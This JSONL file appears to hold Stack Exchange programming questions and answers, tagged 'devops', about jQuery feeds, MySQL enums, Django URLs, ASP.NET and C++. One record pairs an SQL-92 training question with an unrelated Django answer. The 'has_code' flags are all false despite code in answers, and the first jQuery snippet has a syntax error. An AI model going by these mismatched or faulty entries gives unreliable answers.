{"id": "hf_14a3356e5684", "question": "<p>I am trying to create a sidebar for a site that will allow a user to select an item from a drop down menu and show an RSS Feed. The feed will change depending on which item is selected from the list. I am not sure how to acomplish this, but my first thought was to use z-index and show/hide layers. I have one layer and the menu set up, but it will not allow me to change the feed displayed when a different menu item is selected. Does anyone know how I can acomplish this?</p>\n\n<p>I have a live preview up of what I have gotten done so far. It's located on the site, <a href=\"http://www.chud.com/articles/templates/chud/new_sidebarhome.php\" rel=\"nofollow noreferrer\">CHUD</a>,</p>\n", "question_body": "", "answer": "This uses jQuery and jFeed plugin to replace the contents of a DIV based on a dropdown selection.\n```\n```\n// load first feed on document load\n$(document).ready(\n    function() {\n       load_feed( $('select#feedSelect')[0], 'feedDiv' ) ); // pick first\n    }\n);\n\nfunction load_feed( ctl, contentArea )  // load based on select\n{\n   var content = $('#' + contentArea )[0]; //pick first\n\n   content.html( 'Loading feed, please wait...' );\n\n   var feedUrl = ctl.options[ctl.selectedIndex].value;\n\n   $.getFeed( { url: feedUrl,\n        function(feed) {\n           content.html( '' );\n           content.append( '<h1>' + feed.title + '</h1>' );\n           feed.items.each( \n              function(i,item) {\n                  content.append( '<h2><a href=\"'\n                                     + item.link\n                                     + '\">' \n                                     + feed.title\n                                     + '</a></h2>' );\n                  content.append( '<p>' + feed.description + '</p>' );\n              }\n           );\n         }\n     });\n }\n```\n```\nHTML\n```\n```\n<div>\n   <select id=feedSelect onchange=\"load_feed(this,'feedDiv');\" >\n      <option value='url-to-first-feed' text='First Feed' selected=true />\n      <option value='url-to-second-feed' text='Second Feed' />\n      ...\n   </select>\n   <div id='feedDiv'>\n   </div>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.358865"}
{"id": "hf_9707a66c5b68", "question": "<p>Does anyone know of a good YAML Parser for PHP? If so, what are the pros and cons of this library?</p>\n", "question_body": "", "answer": "The\nsymfony framework\nmakes very heavy use of YAML, this\nblog post by Grégoire Hubert\ndemonstrates using their YAML library in a non-symfony project.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.384060"}
{"id": "hf_3e85fa2121a4", "question": "<p>These days, more languages are using unicode, which is a good thing. But it also presents a danger. In the past there where troubles distinguising between 1 and l and 0 and O. But now we have a complete new range of similar characters.</p>\n\n<p>For example:</p>\n\n<pre><code>ì, î, ï, ı, ι, ί, ׀ ,أ ,آ, ỉ, ﺃ\n</code></pre>\n\n<p>With these, it is not that difficult to create some very hard to find bugs.</p>\n\n<p>At my work, we have decided to stay with the ANSI characters for identifiers. Is there anybody out there using unicode identifiers and what are the experiences?</p>\n", "question_body": "", "answer": "Besides the similar character bugs you mention and the technical issues that might arise when using different editors (w/BOM, wo/BOM, different encodings in the same file by copy pasting which is only a problem when there are actually characters that cannot be encoded in ASCII and so on), I find that it's not worth using Unicode characters in identifiers. English has become the lingua franca of development and you should stick to it while writing code.\nThis I find particularly true for code that may be seen anywhere in the world by any developer (open source, or code that is sold along with the product).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.422181"}
{"id": "hf_d7705b47c292", "question": "<p>I added the ModalPopupExtender to an existing ASP.NET application. At runtime I get the following error</p>\n\n<p>Compilation Error \nDescription: An error occurred during the compilation of a resource required to service this request. Please review the following specific error details and modify your source code appropriately. </p>\n\n<p>Compiler Error Message: BC32206: Indirect reference is being made to assembly System.Web.Extensions version 3.5.0.0, which contains 'AjaxControlToolkit.ModalPopupExtender'. This Project references a prior version of System.Web.Extensions version 1.0.61025.0. To use 'AjaxControlToolkit.ModalPopupExtender', you must replace the reference to System.Web.Extensions with version 3.5.0.0 or higher.</p>\n\n<p>Source Error:</p>\n\n<p>Line 29:         <br />\nLine 30:<br>\nLine 31:         </p>\n\n<p>How do I fix this. </p>\n", "question_body": "", "answer": "You're trying to compile a .NET 3.5 application with a reference to a .NET 1.1 module.  Make sure you have the .NET 3.5 framework installed, and if you do, make sure you're trying to build it in .NET 3.5.\nYou may also want to see\nthis post\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.483745"}
{"id": "hf_b6e9a90058d1", "question": "<p>One of my Websites is on a Shared Hosting Provider, running either .net 2.0 or .net 3.0, but not 3.5 SP1.</p>\n\n<p>I wonder if it would be possible to still use 3.5 SP1 by simply deploying all the 3.5 assemblies into the /bin Folder, since technically it's all still the 2.0 CLR.</p>\n\n<p>I know that if my Host ever updates I have to remove them or else weird stuff can happen, and that I am driving into Unsupported-Territory at full speed, but is there any really big road sign that says \"DON'T DO IT!\" or even \"That is not possible because of X\"?</p>\n\n<p>Primary reason is because I want to use ASP.net MVC and possibly ADO.net Entity Framework, but I do not want to make a contract with yet another Hosting provider.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I'm pretty sure you can't do this, but googling on the following blogs may get you the definitive answer:\nScottGu\nScottHa\nBradA\nThe problems would be, I think:\nYou want to load system.dll. Where does it look? does the GAC take precidence? (I think it does), therefore you get 2.0. So you have system.dll v2.0, and you try to use a DLL (eg system.web.mvc) which is bound to system.dll v3.5, but is only in you /bin.... it should explode loudly, not having the same contracts and the like.\nPersonally, I wouldn't try it, especially on production. But if you can take the site down for a while, give it a go. Worst case, you have to delete the files and re-upload the old site.\nYMMV :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.508363"}
{"id": "hf_d13c0d3b0633", "question": "<p>I'm looking for a consistent way to structure my use of formatting strings throughout a large web application, and I'm looking for recommendations or best practices on which way to go.</p>\n\n<p>Up until now I've had a static class that does some common formatting e.g.</p>\n\n<p>Formatting.FormatCurrency</p>\n\n<p>Formatting.FormatBookingReference</p>\n\n<p>I'm not convinced that this is the way to go though, I'd prefer to use the standard way of formatting strings within .NET directly and use:</p>\n\n<p>amount.ToString(\"c\")</p>\n\n<p>reference.ToString(\"000000\")</p>\n\n<p>Id use IFormattable and ICustomFormatter for some of our more complicated data structures, but I'm struggling what to do about the more simple existing objects that we need to format (in this case Int32 but also DateTime). </p>\n\n<p>Do I simply define constants for \"c\" and \"000000\" and use them consistently around the whole web app or is there a more standard way to do it?</p>\n", "question_body": "", "answer": "One option is to use a helper class with extension methods like\n```\n```\npublic static class MyWebAppExtensions\n{\n    public static string FormatCurrency(this decimal d)\n    {\n        return d.ToString(\"c\");\n    }\n}\n```\n```\nThen anywhere you have a decimal value you do\n```\n```\nDecimal d = 100.25;\nstring s = d.FormatCurrency();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.532725"}
{"id": "hf_2ae284605e6c", "question": "<p>Is there any way to show two editing windows in visual studio? I would like to look at two source files at the same time but I must be missing the option to do that.</p>\n", "question_body": "", "answer": "Another easy option is to open two documents, then just click and drag the tab for one of the documents and drop it on the document itself. This will display a menu that lets you move the document to a new vertical or horizontal tab group.\nI find this to be the easiest and quickest way to do this.\nYou didn't ask in the question, but if you want to edit\none\ndocument in two windows, you can grab the small area above the scrollbar and drag it down. You will now have your document open in two scrollable areas. Great for working on two sections at once.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.568811"}
{"id": "hf_df8ce2f2991c", "question": "<p>These are some questions for any developer whose made the jump from Java to .Net:</p>\n\n<p>If you could go back to the start of your switched, what would you do to make the transition easier? </p>\n\n<p>Any books you would recommend?</p>\n\n<p>How is .Net compared to Java EE?  Anything that totally bugs you?</p>\n\n<p>And the most important, do you regret making the jump?</p>\n", "question_body": "", "answer": "Don't think of it as a switch.  If you learn a new language like C#, you're not trading in all the knowledge you have in Java.  It takes several months until you skills in other languages start to degrade.  Try it out and see if it's for you.  Java will be there for several more years if you change your mind.  :)\nI would recommend (and repeatedly have recommended)\nHead First C#\nas your first .NET book.  The whole series is really beyond compare, IMHO.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.594140"}
{"id": "hf_a4b8a28b83a8", "question": "<p>I need to set my process to run under 'nobody', I've found os.setuid(), but how do I find <code>uid</code> if I have <code>login</code>?</p>\n\n<p>I've found out that uids are in /etc/passwd, but maybe there is a more pythonic way than scanning /etc/passwd. Anybody?</p>\n", "question_body": "", "answer": "You might want to have a look at the\npwd\nmodule in the python stdlib, for example:\n```\n```\nimport pwd\npw = pwd.getpwnam(\"nobody\")\nuid = pw.pw_uid\n```\n```\nit uses /etc/passwd (well, technically it uses the posix C API, so I suppose it might work on an OS if it didn't use /etc/passwd but exposed the needed functions) but is cleaner than parsing it manually", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.654871"}
{"id": "hf_d4c878d6e3fa", "question": "<p>I have a winforms projects and we use the command pattern.  We are trying to clean up our directory structure and make it consistent.</p>\n\n<p>We are trying to decide if we should have a root commands folder or not. What do you think is better for a directory structure?</p>\n\n<p>Project<br>\n--Commands<br>\n----AddCommand<br>\n----SubtractCommand<br>\n----InsertCommand<br>\n----DeleteCommand  </p>\n\n<p>or</p>\n\n<p>Project<br>\n--Calculation<br>\n----AddCommand<br>\n----SubtractCommand<br>\n--Database<br>\n----InsertCommand<br>\n----DeleteCommand  </p>\n", "question_body": "", "answer": "Personally I like the second option but I think that you could also do something like this:\n```\n```\nProject\n-Commands\n--Calculation\n----AddCommand\n----SubtractCommand\n--Database\n----InsertCommand\n----DeleteCommand\n```\n```\nJust my 2 cents", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.778537"}
{"id": "hf_1c1fd6d32e0e", "question": "<p>I was just wondering if there is any difference between the two different new object initializers or is it just syntactic sugar.  </p>\n\n<p>So  is:</p>\n\n<pre><code>Dim _StreamReader as New Streamreader(mystream)\n</code></pre>\n\n<p>and different to:</p>\n\n<pre><code>Dim _StreamReader as Streamreader = new streamreader(mystream)\n</code></pre>\n\n<p>Is there any difference under the hood? or are they both the same?  Which one do you prefer to use?</p>\n", "question_body": "", "answer": "I'm not a VB guy, but as far as I can tell they're equivalent. According to\nMSDN's description of the Dim statement\n:\nIf you do not specify datatype, the\n  variable takes the data type of\n  initializer. If neither datatype nor\n  initializer is present, by default,\n  the data type is Object Data Type. If\n  you specify both datatype and\n  initializer, the data type of\n  initializer must be convertible to\n  datatype.\nI won't pass comment on preference, as I don't use VB (except when answering statements).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.802316"}
{"id": "hf_43a76b0eb4e8", "question": "<p>I have an enumeration: <code>ENUM( 'alpha', 'beta', 'gamma', 'delta', 'omega' )</code></p>\n\n<p>If I sort my table by this column I get them in the correct order defined above.</p>\n\n<p>However, I can't find a way to select a subset of these, e.g. everything before delta. Using <code>WHERE status &lt; 'delta'</code> only returns alpha and beta, not gamma. It seems MySQL uses a string comparison, not enum index comparison.</p>\n\n<p>I could use the index numbers - i.e. <code>WHERE status &lt; 4</code> - but it's a bit of a code smell (magic numbers) and may break if I insert new values into the enumeration.</p>\n", "question_body": "", "answer": "You can use\n```\nFIELD(column, \"string1\", \"string2\", ...)\n```\nto find rows with any particular subset of possible\n```\nENUM\n```\nvalues.\n```\n```\nSELECT * FROM `table` WHERE FIELD(`enum_column`, \"alpha\", \"delta\", \"et cetera\");\n```\n```\nIf you want to use the range version, you can use\n```\nFIND_IN_SET(\"needle\", \"hay,stack\")\n```\nto return the index but you'll have to extract the ENUM list out of the table definition first with another query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.826254"}
{"id": "hf_ef10a54ab21d", "question": "<p>I'm currently considering the use of Reflection classes (ReflectionClass and ReflectionMethod mainly) in my own MVC web framework, because I need to automatically instanciate controller classes and invoke their methods without any required configuration (\"convention over configuration\" approach).</p>\n\n<p>I'm concerned about performance, even though I think that database requests are likely to be bigger bottlenecks than the actual PHP code.</p>\n\n<p>So, I'm wondering if anyone has any good or bad experience with PHP 5 Reflection from a performance point of view.</p>\n\n<p>Besides, I'd be curious to know if any one of the popular PHP frameworks (CI, Cake, Symfony, etc.) actually use Reflection.</p>\n", "question_body": "", "answer": "Don't be concerned. Install\nXdebug\nand be sure where the bottleneck is.\nThere is cost to using reflection, but whether that matters depends on what you're doing. If you implement controller/request dispatcher using Reflection, then it's just one use per request. Absolutely negligible.\nIf you implement your ORM layer using reflection, use it for every object or even every access to a property, and create hundreds or thousands objects, then it might be costly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.851390"}
{"id": "hf_2e62bb0881c2", "question": "<p>Sorry for the newb question.  I'm still learning programming.  So I'm using C++, and I need to do something like this:</p>\n\n<pre><code>int n;\ndo {\n    n = get_data();\n    if(n != -1)\n        send(n);\n} while(n != -1);\n</code></pre>\n\n<p>This is just a sketch.  Anyway it doesn't feel real elegant.  I have to have my test twice.  I could just test once and set a flag, but that doesn't feel real elegant either since I have to check the flag twice.  It just seems like there should be a way to do this more easily, since it's so easy what I want to do.</p>\n", "question_body": "", "answer": "Howabout using\nbreak\n:\n```\n```\nint n;\nwhile(1) {\n    n = get_data();\n    if(n == -1)\n        break;\n    send(n);\n}\n```\n```\nThis way you only test once, and quit immediately if get_data doesn't return what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.876241"}
{"id": "hf_b044c3cbad51", "question": "<p>I'm using django and when users go to www.website.com/ I want to point them to the index view.</p>\n\n<p>Right now I'm doing this:</p>\n\n<pre><code>(r'^$', 'ideas.idea.views.index'),\n</code></pre>\n\n<p>However, it's not working. I'm assuming my regular expression is wrong. Can anyone help me out? I've looked at python regular expressions but they didn't help me. </p>\n", "question_body": "", "answer": "What you have should work (it does for me).  Make sure it's in the top\n```\nurls.py\n```\n, and it should also be at the top of the list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.901994"}
{"id": "hf_aaadc725f85f", "question": "<p>I'm interested in measuring and improving (where necessary) my team's SQL-92 skills. Can anyone recommend an appropriate on-line course and/or examination?</p>\n\n<p>Ideally it would be vendor-neutral, but it could also be MSSQL/Oracle specific, as long as the proprietary bits were flagged as such.</p>\n", "question_body": "", "answer": "What you have should work (it does for me).  Make sure it's in the top\n```\nurls.py\n```\n, and it should also be at the top of the list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.926904"}
{"id": "hf_5dad983d0d0d", "question": "<p>What is the best way to block certain input keys from being used in a TextBox with out blocking special keystrokes such as <kbd>Ctrl</kbd>-<kbd>V</kbd>/<kbd>Ctrl</kbd>-<kbd>C</kbd>?</p>\n<p>For example, only allowing the user to enter a subset of characters or numerics such as  A or B or C and nothing else.</p>\n", "question_body": "", "answer": "You could use the TextChanged event for the textbox.\n```\n```\nprivate void txtInput_TextChanged(object sender, EventArgs e)\n    {\n        if (txtInput.Text.ToUpper() == \"A\" || txtInput.Text.ToUpper() == \"B\")\n        {\n            //invalid entry logic here\n        }\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.950712"}
{"id": "hf_42f9db2be4e5", "question": "<p>I would like to set up a localhost server to test my site on in sql server 2005. I just installed sql server 2005 and I have never set up a database in this before. There is a login screen and I tried everything and it will not let me log into anything. What are the steps I need to do to get this to work. Thanks</p>\n", "question_body": "", "answer": "Assumptions:\nsql2005 is installed on your localhost\nu can connect to it via Query analyzer or Sql Server Management Studio?\nwhen the login prompt starts up, u have two options for authentication ->  Windows authentication or Sql Server Authentication.\nIf those assumptions are all correct, then try connecting via the Windows Authentication option. If that fails, then try the Sql Server Authentation and use the username 'sa' (no quotes), password leave empty.\ndoes that work? also, post some links to screenshots so we can see exactly what you see, to help you further.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:34.986489"}
{"id": "hf_f2e3144ffa6c", "question": "<p>I'm getting an exception which says \"Access Denied\" when the users permissions are sufficient, how do I catch an exception and check for \"Access Denied\" so that I can show the user a friendlier \"Sorry Access Denied\" message?</p>\n\n<p>Thanks\nBeginner :-)</p>\n", "question_body": "", "answer": "If you are using a try catch block...\n```\n```\ntry\n{\n    //error occurs\n}\ncatch (Exception ex)\n{\n    MessageBox.show(ex.Message);\n}\n```\n```\nObviously that is pretty crappy error handling, but it shows that the Exception object contains the error string.  You can narrow down the handling of different exceptions by catching different exception types.\n```\n```\nTry\n{\n    //error occurs\n}\ncatch (AccessDeniedException ex)\n{\n    MessageBox.show(ex.Message);\n}\ncatch (FieldAccessException)\n{\n\n}\n// etc...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.022083"}
{"id": "hf_837295da2475", "question": "<p>What's a good algorithm to solve this problem?</p>\n\n<p>I have three groups of people - group A, group B, and group C. There are the same number of people in each group. They each have a list of people in the other groups that they're willing to work with. I want to group all these people together in groups of 3 (one from A, one from B, and one from C) such that everyone in a group wants to work with the other people in their group. </p>\n\n<p>How can I find these groups in a fast way? If there's no way to make everyone happy, then the algorithm should first make as many groups have three people who want to work with each other, and then make as many people in the other groups happy.</p>\n\n<p>One final point: people agree on who they want to work with (if person x wants to work with person y, then y also wants to work with x). If you could also give a big-O of the running time of your algorithm, that'd be great!</p>\n", "question_body": "", "answer": "This is like the stable marriage problem, but with 3 parties instead of two.\nHave a look at efficient solutions for former problem (bi-partite graph matching) and adapt them to your needs.\nhttp://en.wikipedia.org/wiki/Stable_marriage_problem\nOne adaptation could be to first build working pairs from groups A and B only. Then these pairs have to be paired with a worker from group C each. Let the pairs only prefer workers which both members of the pair agree on (given their lists). Note that this will only give a local optimum.\nAn optimal solution to k-partite matching is NP-hard to find:\nhttp://www.math.tau.ac.il/~safra/PapersAndTalks/k-DM.ps\nSee this paper for a non-optimal solution to the k-partite matching problem:\nhttp://books.google.com/books?id=wqs31L1MF4IC&pg=PA309&lpg=PA309&dq=k-partite+matching&source=bl&ots=kgBuvi7ym_&sig=j3Y-nyo51y8qp0-HwToyUlkao4A&hl=de&sa=X&oi=book_result&resnum=1&ct=result\nI'm sure you can find others on Google yourself now that you know the terms to search for. I don't know if there is an efficient algorithm giving the optimal solution for k=3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.069708"}
{"id": "hf_4245d31c5bc1", "question": "<p>I have a MySQL table that will only have one row. What should my statement be for the first time I insert to this row, and for subsequent updates? I tried an insert where the primary key equals 1, but this doesn't account for the first time around when no row exists yet.</p>\n", "question_body": "", "answer": "```\n```\nINSERT INTO table(col1,col2,col3) VALUES(val1,val2,val3) ON DUPLICATE KEY UPDATE col1 = val1, col2 = val2, col3 = val3;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.094694"}
{"id": "hf_951641ce3905", "question": "<p>I also want to save the font size in my <code>.emacs</code> file.</p>\n", "question_body": "", "answer": "Press Shift and the first mouse button.  You can change the font size in the following way:\nThis website\nhas more detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.120111"}
{"id": "hf_6376b1095f02", "question": "<p>The application de-serializes a stream into dynamically allocated objects and then keeps base type pointers in a linked list (i.e. abstract factory).  It's too slow.  Profiling says all the time is spent in <code>operator new</code>.</p>\n\n<p>Notes: The application already uses a custom memory allocator that does pooling.  The compiler is VC++ 6.0 and the code uses the old RogueWave collections rather than the STL.</p>\n\n<p>The only idea I have right now is to introduce Object Pooling.  I'd maintain large collections of pre-allocated objects for each type and re-use them.  But this will be a lot of work in this old code, and I'm not yet sure there's enough re-use that it would even help.  I was hoping someone smarter than me has an idea.</p>\n", "question_body": "", "answer": "I'll assume that most allocations relate to the list of objects you're talking about. If you're actually allocating a bunch of other objects as part of the parsing that's too slow, then you need more information to optimize.\nI don't know anything about the RogueWave collections, but if their linked list allocates an external node, then you should be able to halve the number of allocations by using an intrusive list - write your own container if necessary. This assumes that you don't need to put the same objects on multiple lists at once (or in the same list more than once).\nIf your app is multi-threaded, then the memory allocator will likely be doing some synchronization. But if you can arrange for these objects to be freed in the same thread they're allocated, then they could be allocated off a per-thread heap by overloading operator new. This might be faster: synchronization isn't necessarily all that slow provided there isn't contention, but it takes more time than none, and if other threads in your process are allocating at the same time then there will be contention.\nFor even more limited use-cases, if you find that you allocate a whole load of these things and then always free them all at once when you're done with the list, you can write an even faster \"gc-style\" allocator.\nOperator new/delete would call functions like these (and size might be a constant rather than a parameter, if there's only one class you use the pool for):\n```\n```\nchar *alloc(POOL *pool, size_t size) {\n    // if size is a parameter, and may be a non-multiple the max alignment \n    // requirement on your system, and you want this to work in general:\n    // size = (size + MAX_ALIGNMENT - 1) % ALIGNMENT;\n    char *block = pool.current;\n    char *next = block + size;\n    if (next > pool.limit) throw std::bad_alloc();\n    pool.current = next;\n    return block;\n}\n\nvoid free(char *block) {\n    return;\n}\n\nvoid freeAll(POOL *pool) {\n    pool.current = pool.start;\n    return;\n}\n```\n```\nThis should ensure that operator new takes trivial time compared with what you spend parsing the objects you're creating. But it does require the application to identify the times at which it should create, destroy, and clear pools, and to to use a suitable new operator taking the pool pointer as a parameter, so it's not a drop-in replacement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.144026"}
{"id": "hf_621b9ac61fbf", "question": "<p>We have a project page which consists of users' files, multimedia stuff, etc and we want to allow the user to export all this out into a single zip file. We're using unix and mysql to store all of these currently and our primary goal is to minimize load/performance time from all the processing and compiling all the files into a zip file.</p>\n\n<p>My idea was to cache the zip file into a temp dir and keep all the CRC checksum for each files in the zip into a separate text file. Each time the user tries to do an export I will first check through each file's CRC and compare it to the list before adding or removing files from the zip file.</p>\n\n<p>But my other concern is also the space that the zip file will be occupying as we might have a lot of users.</p>\n\n<p>IMHO, this is probably the dumbest way possible to do this,\nso can any of you guys please suggest a better way to deal with this problem?</p>\n\n<p>thanks\n~codeNoobian</p>\n", "question_body": "", "answer": "If bandwidth/download speed is not a concern, I recommend you use an uncompressed tar file. TAR is a very simple format, so it will be easy to write code to update sections of it when a few of the files have changed.  Also, leaving it uncompressed will be a huge win on server CPU time.\nOf course, leaving it uncompressed will take a lot of storage space on your server.  But since it is uncompressed, it might remove the need for you to keep a cache copy of the file at all, if you can build it fast enough you can just build it on the fly as needed.  Then you don't have to worry about storing CRCs and updating the TAR, either.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.193441"}
{"id": "hf_0e4bbdb7b27b", "question": "<p>I am using the following servlet-mapping in my <code>web.xml</code> file:</p>\n\n<pre><code>&lt;servlet&gt;\n    &lt;servlet-name&gt;PostController&lt;/servlet-name&gt;\n    &lt;servlet-class&gt;com.webcodei.controller.PostController&lt;/servlet-class&gt;\n&lt;/servlet&gt;\n&lt;servlet-mapping&gt;\n    &lt;servlet-name&gt;PostController&lt;/servlet-name&gt;\n    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;\n&lt;/servlet-mapping&gt; \n</code></pre>\n\n<p>To do some kind of a search. ex: <pre><code> <a href=\"http://www.myweb.com/The\" rel=\"nofollow noreferrer\">http://www.myweb.com/The</a> search string here </code></pre></p>\n\n<p>But the problem is that CSS, JS and Images are treated like a search request. </p>\n\n<p><b>There are any patterns that strip out *.css, *.js, *.gif and etc, so the requests don't need to pass through my controller?</b></p>\n\n<p>Thank you so much, bye bye!</p>\n", "question_body": "", "answer": "Two options come to mind:\n1) Typically, in web app like this, the \"action\" URLs that are handled by a servlet, are given either a sub-directory like \"\n```\n/actions/*\n```\n\" or are given an extension like \"\n```\n*.action\n```\n\" or \"\n```\n*.do\n```\n\" (this is what Struts does). This way it's clear which URLs are intended for the servlet. This is more of an inclusive solution, rather than the exclusive one you're asking for, but I don't think what you want is possible.\n2) The slightly more adventurous option is to set up your web app server behind an apache install that serves up the images, css, etc as flat files, sending only everything else onto the app server. Typically, this is done to take the load off your app server. It would require you to copy all these files to a separete directory for apache to handle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.217684"}
{"id": "hf_42bb7406ff60", "question": "<p>How does the data go from the MVC to the browser and back again?   Does it use Microsoft's own technology like ASMX or WCF or something completely different?  </p>\n\n<p>This sounds like MVC is using a ASMX Web Service they are using but I can't seem to find any documentation which gives the real answer.  </p>\n", "question_body": "", "answer": "AJAX requests are performed in the page using normal HTTP request/response. That is, in javascript the client will create a AJAX request object, send it off to a URL and it gets back a string. If that string is json, it can be eval'd and become a live javascript object.\nThe philosophy of MVC is that\nall\nhttp requests go through controllers. WCF is only for other types of web services that where the client doesn't consume html-json-css-etc.\nYou can return JSON from a controller action using the Json(object model) method on System.Web.Mvc.Controller.\nfor example\n```\n```\nActionResult MyAction() {\n    return Json(new { success=false, for_lunch=\"mmm, chicken\"});\n}\n```\n```\nThat will return the json your webpage can consume.\nSo, that leaves the question - how does the browser call the MyAction for the json?\nSeveral posts exist on this topic, and the first one i could find that did this was\nthis post\n.\nHope that helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:35.240780"}
